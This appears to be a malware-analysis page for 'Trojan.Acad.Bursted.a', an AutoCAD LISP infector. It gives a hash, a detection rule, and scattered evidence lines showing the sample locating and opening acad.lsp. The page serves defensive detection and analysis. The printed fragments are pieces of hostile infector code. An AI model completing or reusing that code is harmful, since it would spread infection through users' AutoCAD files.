Hostile 92% Download

Trojan.Acad.Bursted.a

malicious AutoCAD infector

Recognizes malicious autocad files written in LISP
SHA-256b963d8a0b75106a5bb5bece87ebce57995b8c0d8e58fb5ee837dde07c57d2a22
MaleculeTh

Evidence

Recognizes malicious autocad files written in LISP lines 49–96
⋯14 lines
63acadpath
64(findfile
65"acad.lsp"))
66(setq
67acadpath
⋯15 lines
83(setq
84wjqm
85(strcat
86path
87"acad.lsp"))
88(if
89(setq
90wjm
91(open
92wjqm
93"r"))
94(progn
95(while
96(setq

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.